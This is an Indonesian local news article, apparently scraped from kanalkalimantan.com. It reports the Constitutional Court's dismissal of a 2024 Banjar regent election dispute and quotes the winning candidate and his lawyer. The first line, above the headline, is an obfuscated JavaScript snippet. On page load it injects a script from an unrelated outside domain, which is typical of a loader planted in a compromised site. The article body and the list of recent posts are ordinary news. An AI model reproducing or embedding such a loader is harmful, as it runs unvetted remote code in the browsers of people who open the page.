(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Putusan Dismisal Saidi Mansyur Dibacakan Arsul Sani


KANALKALIMANTAN.COM, MARTAPURA – Mahkamah Konstitusi telah membacakan putusan dismisal untuk beberapa perkara sengketa pemilihan kepala daerah (Pilkada) serentak 2024 pada Selasa (4/2/2025) malam, termasuk perkara nomor 64 yang diajukan oleh pasangan calon bupati Banjar nomor urut 2, yaitu Syaifullah Tamliha dengan Habib Ahmad Bahasyim.

Sidang putusan ini dilaksanakan setelah majelis panel 2 yang diketuai oleh Saldi Isra dan dibacakan langsung Arsul Sani telah mendengar permohonan pemohon dan mendengarkan jawaban dari termohon serta keterangan pihak terkait dan keterangan bawaslu.

Pasalnya, majelis dalam memeriksa perkara berkesimpulan bahwa permohonan pemohon tidak memenuhi syarat formil permohonan, tidak jelas kabur (obscur libel).

Kuasa hukum pihak yang hadir dipersidangan, Renaldy Farhan SH menyampaikan rasa syukur dengan adanya putusan dismisal ini sehingga bupati terpilih setelah dilantik bisa fokus untuk melaksanakan program-program yang sudah dicanangkan untuk masyarakat.

Baca juga: BREAKING: Hakim MK Tolak Permohonan Sengketa Pilbup Banjar, Gugatan Syaifullah Tamliha Rontok!

Farhan juga menyampaikan bahwa putusan dismisal ini final dan mengikat sehingga harapannya semua pihak dapat menghargai putusan tersebut.

Sementara itu, saat persidangan berlangsung, H Saidi Mansyur menyaksikan jalannya persidangan melalui televisi. Usai pembacaan putusan dismisal itu mengucapkan rasa syukurnya.

Baca juga: Gugatan Tim Banjarbaru Hanyar Lolos di MK, Dua Perkara Kandas Terganjal Legal Standing

“Alhamdulillah perjuangan yang kami lakukan selama ini tidak sia-sia.
Sidang di MK yang berlangsung tadi membuktikan bahwa tuduhan yang diarahkan kepada pasangan H Saidi Mansyur dan Habib Idrus Alhabsyi tidak benar, tidak terbukti,” ujar dia singkat.

Diketahui, sebelum mengajukan ke MK usai pilkada kemarin, tuduhan yang dilakukan pasangan calon nomor 02 itu sudah dilakukan sejak dari masa kampanye kemarin ke Bawaslu Kabupaten Banjar dan Bawaslu Provinsi Kalimantan Selatan juga sudah tidak terbukti. (kanalkalimantan.com/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

26 menit ago

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

13 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

13 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

14 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

16 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

22 jam ago

This website uses cookies.